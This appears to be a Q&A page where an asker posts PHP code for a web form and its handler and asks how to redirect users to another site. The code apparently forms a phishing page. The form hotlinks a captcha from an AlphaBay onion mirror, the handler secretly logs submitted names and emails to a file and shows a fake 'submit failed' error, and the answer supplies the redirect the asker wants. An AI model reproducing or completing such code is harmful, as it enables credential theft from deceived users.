dpp78272 2016-09-09 16:04
浏览 11
已采纳

填写php表单后如何将用户重定向到其他网站

I had a fight with some coder, and he ruins my code, basically, the customers has to fill some php form in www.mywebsite.com/fill

       <?php
            if(isset($_SESSION['wrong'])) {
                echo "<p class='error'>submit failed, please retype your information.</p>";
                session_destroy();
            }
        ?>
<form name="formLogin" method="post" action="doneA.php">

    <div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
    <div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">Last name:</span></div>
    <div class="tclpad"><input name="input2" class="std" size="65" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">email</span></div>
    <div class="tclpad"><input name="input3" class="std" size="10" value="" type="text" required></div>

    <div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;"><span class="std">captcha</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>

    <div class="tclpad" style="width:90px;">&nbsp;</div>
    <div class="tclpad"><input class="bstd" value="submit" type="submit"></div>

    <div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>

subscribe 

now after they finish to submit the form, they need no be redirect to other website, www.mysecondwebiste.com, the other php script who does it is:

<?php
session_start();

if(isset($_POST['input1'])){
    $name = $_POST['input1'];
}

if(isset($_POST['input2'])){
    $lastname = $_POST['input2'];
}

if(isset($_POST['input3'])){
    $email = $_POST['input3'];
}

$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1
";
fwrite($fh,"firstname: " . $name . "
" . " Lastname: " . $lastname . "
" . " email: " . $email . "
----------------------------
");
fclose($fh);

header("Location: index.php");


$_SESSION['wrong'] = '1';
?>

now in the current situation, when they finish to complete the php form, they get error message "submit failed, please retype your information." and they redirect to www.mywebsite.com/index.php and not to www.mysecondwebsite.com.

what did the programmer do? and how can i fix it?

  • 写回答

1条回答 默认 最新

  • douyun1860 2016-09-09 16:19
    关注

    The redirection can be done by doing changing this

    header("Location: index.php");
    

    to this

    header("Location: http://www.mysecondwebsite.com");
    

    OR, you can use meta refresh in place of header.

    echo "<meta http-equiv='refresh' content='NUMSECONDS;http://www.mysecondwebsite.com' />";
    

    Where you can change NUMSECONDS to any amount of seconds you want to wait before redirecting, or you can just make it 0 seconds.

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥100 set_link_state
  • ¥15 虚幻5 UE美术毛发渲染
  • ¥15 CVRP 图论 物流运输优化
  • ¥15 Tableau online 嵌入ppt失败
  • ¥100 支付宝网页转账系统不识别账号
  • ¥15 基于单片机的靶位控制系统
  • ¥15 真我手机蓝牙传输进度消息被关闭了,怎么打开?(关键词-消息通知)
  • ¥15 装 pytorch 的时候出了好多问题,遇到这种情况怎么处理?
  • ¥20 IOS游览器某宝手机网页版自动立即购买JavaScript脚本
  • ¥15 手机接入宽带网线,如何释放宽带全部速度